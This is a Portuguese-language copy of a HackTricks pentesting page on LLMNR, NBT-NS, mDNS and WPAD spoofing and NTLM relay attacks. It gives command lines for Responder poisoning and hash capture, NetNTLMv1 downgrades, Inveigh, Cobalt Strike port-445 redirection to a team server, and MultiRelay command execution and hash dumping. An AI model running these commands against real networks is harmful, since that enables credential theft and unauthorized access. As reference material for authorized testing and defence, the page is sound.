mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-20 18:14:15 +00:00
145 lines
9.6 KiB
Markdown
145 lines
9.6 KiB
Markdown
# Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Ataques de Relay
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Protocolos de Rede
|
|
|
|
### Protocolos de Resolução de Nome Local
|
|
- **LLMNR, NBT-NS e mDNS**:
|
|
- Microsoft e outros sistemas operacionais usam LLMNR e NBT-NS para resolução de nome local quando o DNS falha. Da mesma forma, sistemas Apple e Linux usam mDNS.
|
|
- Esses protocolos são suscetíveis à interceptação e spoofing devido à sua natureza não autenticada e de broadcast sobre UDP.
|
|
- [Responder](https://github.com/lgandx/Responder) pode ser usado para se passar por serviços enviando respostas forjadas para hosts que consultam esses protocolos.
|
|
- Mais informações sobre a impersonação de serviços usando Responder podem ser encontradas [aqui](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
|
|
|
### Protocolo de Descoberta Automática de Proxy Web (WPAD)
|
|
- WPAD permite que navegadores descubram configurações de proxy automaticamente.
|
|
- A descoberta é facilitada via DHCP, DNS ou fallback para LLMNR e NBT-NS se o DNS falhar.
|
|
- Responder pode automatizar ataques WPAD, direcionando clientes para servidores WPAD maliciosos.
|
|
|
|
### Responder para Envenenamento de Protocolo
|
|
- **Responder** é uma ferramenta usada para envenenar consultas LLMNR, NBT-NS e mDNS, respondendo seletivamente com base nos tipos de consulta, visando principalmente serviços SMB.
|
|
- Vem pré-instalado no Kali Linux, configurável em `/etc/responder/Responder.conf`.
|
|
- Responder exibe hashes capturados na tela e os salva no diretório `/usr/share/responder/logs`.
|
|
- Suporta tanto IPv4 quanto IPv6.
|
|
- A versão do Windows do Responder está disponível [aqui](https://github.com/lgandx/Responder-Windows).
|
|
|
|
#### Executando o Responder
|
|
- Para executar o Responder com configurações padrão: `responder -I <Interface>`
|
|
- Para sondagem mais agressiva (com potenciais efeitos colaterais): `responder -I <Interface> -P -r -v`
|
|
- Técnicas para capturar desafios/respostas NTLMv1 para facilitar a quebra: `responder -I <Interface> --lm --disable-ess`
|
|
- A impersonação WPAD pode ser ativada com: `responder -I <Interface> --wpad`
|
|
- Solicitações NetBIOS podem ser resolvidas para o IP do atacante, e um proxy de autenticação pode ser configurado: `responder.py -I <interface> -Pv`
|
|
|
|
### Envenenamento DHCP com Responder
|
|
- Spoofing de respostas DHCP pode envenenar permanentemente as informações de roteamento de uma vítima, oferecendo uma alternativa mais furtiva ao envenenamento ARP.
|
|
- Requer conhecimento preciso da configuração da rede alvo.
|
|
- Executando o ataque: `./Responder.py -I eth0 -Pdv`
|
|
- Este método pode capturar efetivamente hashes NTLMv1/2, mas requer manuseio cuidadoso para evitar interrupções na rede.
|
|
|
|
### Capturando Credenciais com Responder
|
|
- O Responder irá se passar por serviços usando os protocolos mencionados acima, capturando credenciais (geralmente NTLMv2 Challenge/Response) quando um usuário tenta se autenticar contra os serviços forjados.
|
|
- Tentativas podem ser feitas para rebaixar para NetNTLMv1 ou desativar ESS para facilitar a quebra de credenciais.
|
|
|
|
É crucial notar que a utilização dessas técnicas deve ser feita legal e eticamente, garantindo a devida autorização e evitando interrupções ou acessos não autorizados.
|
|
|
|
## Inveigh
|
|
|
|
Inveigh é uma ferramenta para testadores de penetração e red teamers, projetada para sistemas Windows. Oferece funcionalidades semelhantes ao Responder, realizando spoofing e ataques man-in-the-middle. A ferramenta evoluiu de um script PowerShell para um binário C#, com [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) e [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) como as principais versões. Parâmetros detalhados e instruções podem ser encontrados na [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
|
|
|
Inveigh pode ser operado através do PowerShell:
|
|
```powershell
|
|
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
|
```
|
|
Ou executado como um binário C#:
|
|
```bash
|
|
Inveigh.exe
|
|
```
|
|
### NTLM Relay Attack
|
|
|
|
Este ataque aproveita as sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell de sistema se for bem-sucedido. Os principais pré-requisitos incluem:
|
|
- O usuário autenticado deve ter acesso de Administrador Local no host retransmitido.
|
|
- A assinatura SMB deve estar desativada.
|
|
|
|
#### Encaminhamento e Túnel da Porta 445
|
|
|
|
Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser encaminhado e tunelado. Ferramentas como [**PortBender**](https://github.com/praetorian-inc/PortBender) ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando o acesso de administrador local está disponível para carregamento de driver.
|
|
|
|
Configuração e operação do PortBender no Cobalt Strike:
|
|
```bash
|
|
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
|
|
|
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
|
|
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
|
|
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
|
|
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
|
|
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
|
|
|
|
# Termination commands
|
|
beacon> jobs
|
|
beacon> jobkill 0
|
|
beacon> rportfwd stop 8445
|
|
beacon> socks stop
|
|
```
|
|
### Outras Ferramentas para Ataque de Relay NTLM
|
|
|
|
- **Metasploit**: Configurado com proxies, detalhes de hosts locais e remotos.
|
|
- **smbrelayx**: Um script em Python para relatar sessões SMB e executar comandos ou implantar backdoors.
|
|
- **MultiRelay**: Uma ferramenta do conjunto Responder para relatar usuários específicos ou todos os usuários, executar comandos ou despejar hashes.
|
|
|
|
Cada ferramenta pode ser configurada para operar através de um proxy SOCKS, se necessário, permitindo ataques mesmo com acesso indireto à rede.
|
|
|
|
### Operação do MultiRelay
|
|
|
|
O MultiRelay é executado a partir do diretório _**/usr/share/responder/tools**_, visando IPs ou usuários específicos.
|
|
```bash
|
|
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
|
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
|
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
|
|
|
# Proxychains for routing traffic
|
|
```
|
|
Essas ferramentas e técnicas formam um conjunto abrangente para conduzir ataques de NTLM Relay em vários ambientes de rede.
|
|
|
|
### Forçar Logins NTLM
|
|
|
|
No Windows, você **pode ser capaz de forçar algumas contas privilegiadas a se autenticar em máquinas arbitrárias**. Leia a página a seguir para aprender como:
|
|
|
|
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
|
|
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Referências
|
|
* [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
|
* [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
|
* [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
|
* [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
|
* [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
|
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|